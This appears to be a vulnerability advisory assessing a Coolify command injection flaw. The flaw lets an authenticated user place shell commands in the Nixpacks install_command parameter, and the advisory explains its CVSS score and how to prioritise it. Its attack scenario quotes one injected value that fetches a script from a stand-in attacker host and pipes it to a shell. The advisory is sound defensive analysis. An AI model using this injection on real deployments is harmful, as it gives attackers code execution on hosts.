Coolify EUVD-2026-40224

Exploitation requires an authenticated Coolify account (CVSS PR:L) with permission to configure a deployment, and the target application must use the Nixpacks build pack where the attacker can set the install_command build parameter. The attacker then triggers a build/deployment so the concatenated shell command executes on the host. Limiting factors: the attacker must already be authenticated and able to edit build configuration, so single-tenant instances used only by trusted operators face far lower realistic risk than shared or multi-user/internet-exposed instances; exploitation is constrained to deployments using Nixpacks with user-supplied install_command rather than other build packs.

The CVSS 3.1 base score is 8.8 (High) with vector AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H, indicating network-reachable, low-complexity exploitation requiring only low privileges and no user interaction, with full confidentiality/integrity/availability impact. The key gating factor is PR:L: the attacker must be an authenticated Coolify user with the ability to define build parameters, which limits exposure to multi-tenant or shared instances rather than fully anonymous attackers. No EPSS score, KEV listing, or POC was provided, so probabilistic exploitation likelihood cannot be quantified from the input; the absence of KEV/POC data suggests this is not yet known to be actively exploited, though the technical simplicity (string concatenation into a shell) makes reliable exploitation likely once a user has access. SSVC framing: exploitation status is currently 'none/POC unknown,' technical impact is 'total' (host-level RCE), and automatability is plausible for an authenticated user but constrained by the authentication requirement. Net: a real priority on any shared or internet-exposed Coolify instance, somewhat de-rated on single-tenant deployments where the only users are trusted operators.

An attacker with a low-privileged Coolify account (for example, a developer on a shared instance) creates or edits an application configured to build with Nixpacks and sets the install_command to a value containing shell metacharacters such as ; curl attacker.sh | sh. When the deployment build runs, the injected command executes on the deployment host with the build process's privileges, giving the attacker command execution beyond the intended build sandbox. No public POC was provided, but the injection requires no user interaction and only low complexity.